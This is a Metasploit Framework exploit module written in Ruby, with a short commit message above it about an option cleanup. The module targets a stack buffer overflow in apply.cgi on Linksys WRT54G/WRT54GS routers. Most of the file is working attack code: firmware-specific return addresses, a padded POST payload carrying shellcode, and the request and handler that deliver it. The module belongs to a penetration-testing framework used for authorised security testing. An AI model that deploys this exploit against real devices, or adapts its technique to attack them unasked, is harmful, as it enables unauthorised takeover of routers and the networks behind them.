Christian Mehlmauer
3752c10ccf
This was tested by creating a resource script to load every changed module and displaying the options, like so: ```` use auxiliary/admin/2wire/xslt_password_reset show options use auxiliary/admin/http/contentkeeper_fileaccess show options ```` ...etc. This was run in both the master branch and FireFart's branch while spooling out the results of msfconsole, then diffing those results. All modules loaded successfully, and there were no changes to the option sets, so it looks like a successful fix. Thanks FireFart! Squashed commit of the following: commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7 Author: Christian Mehlmauer <FireFart@gmail.com> Date: Fri May 25 22:09:42 2012 +0200 Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
110 lines
3.5 KiB
Ruby
110 lines
3.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
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According to iDefense who discovered this vulnerability, all WRT54G versions prior to
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4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
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},
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'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-2799'],
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[ 'OSVDB', '19389' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
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],
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'Payload' =>
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{
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#'BadChars' => "\x00",
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'Space' => 10000,
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'DisableNops' => true,
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},
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux',
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'Targets' =>
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[
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# the middle of the intersection is our generic address
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#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
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[ 'Generic', { 'Bufaddr' => 0x10002b50}],
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[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
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[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
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[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
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[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
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[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
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[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
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],
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'DisclosureDate' => 'Sep 13 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RHOST('192.168.1.1')
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], self.class)
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end
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# Approx size of the remaining space in the data segment after our buffer
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DataSegSize = 0x4000
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def exploit
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c = connect
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print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
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print_status("Shellcode length: #{payload.encoded.length}")
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addr = [target['Bufaddr']].pack('V')
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# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
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# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
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# Pointers in 2.02.6beta1
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# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
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# | <- 10000 -> | **************************** Pad with return address ***********************
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# I know this is horrible :( - On the other side this is very generic :)
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post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
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#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"
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# res = send_request_cgi({ 'uri' => "/apply.cgi",
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# 'method' => 'POST',
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# 'data' => post_data });
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# print_status("Malicious request sent, do_ej should be overwritten")
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req = c.request_cgi({ 'uri' => "/apply.cgi",
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'method' => 'POST',
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'data' => post_data
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})
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c.send_request(req)
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print_status("Mayhem sent")
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# req=c.request_cgi('uri' => '/');
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# c.send_request(req);
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# print_status("do_ej triggered")
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handler
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disconnect
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end
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end
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